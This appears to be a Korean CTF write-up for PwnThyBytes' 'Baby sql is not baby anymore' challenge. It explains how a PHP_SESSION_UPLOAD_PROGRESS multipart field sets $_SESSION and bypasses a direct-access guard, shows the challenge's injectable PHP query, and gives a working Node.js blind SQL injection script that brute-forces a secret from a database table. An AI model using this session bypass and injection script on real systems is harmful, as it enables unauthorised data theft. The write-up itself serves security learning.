writeup

PwnThyBytes CTF – Baby sql is not baby anymore

PHPsession.upload_progress 에 관한 문제입니다.
기본 상태에서 활성화 되어있는 session.upload_progress 옵션은, session_start 함수의 실행 없이 $_SESSION 변수가 설정될 수 있도록 합니다.

session_start();

foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value){
	!is_string($value) AND die("Hacking attempt!");
	
	return addslashes($value);
}

문제의 index.php 에서는 내부 변수들에 대해 필터링 과정을 거친 후, templates 폴더 내부의 스크립트를 참조하는 방식으로 구성됩니다.

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'.$_GET['username'].'" and password="'.md5($_GET['password']).'";';
$result = $con->query($sql);

/templates/login.php 페이지 등은 최상단에서 isset($_SESSION) 구문으로 하여금, 페이지의 직접 참조를 방지하고 있습니다.
index.php 페이지를 통해 참조될 때에는 session_start 로 인해 $_SESSION 가 설정된다는 점을 이용한 것입니다.

const request = require('request');
const dict = '0123456789abcdefghijklmnopqrstuvwxyz{}';

option = (FLAG) => ({
    method: "POST",
    url : 'http://137.117.210.176:13372/templates/login.php?username=' + 
            escape(`"||(select secret like '${FLAG}%' from flag_tbl)#`),
    headers : {
        'Content-Type' : 'multipart/form-data',
        'Cookie' : 'PHPSESSID=1'
    },
    multipart : [{
        'Content-Disposition' : 'form-data; name="PHP_SESSION_UPLOAD_PROGRESS"',
        'body' : '1' 
    }]
});

function exploit(FLAG = '') {

    for (let chr of dict) {
        request(option(FLAG + chr), function(err, res, body) {
            if (body.indexOf('Try again!') === -1) {
                console.log(FLAG);
                exploit(FLAG + chr);
            }
        });
    }

}

exploit();

multipart/form-data 형식으로 session.upload_progress.name 와 동일한 이름의 파라미터를 추가해 주는 것으로 isset($_SESSION) 조건식을 우회할 수 있었습니다.

Leave a Reply

Your email address will not be published. Required fields are marked *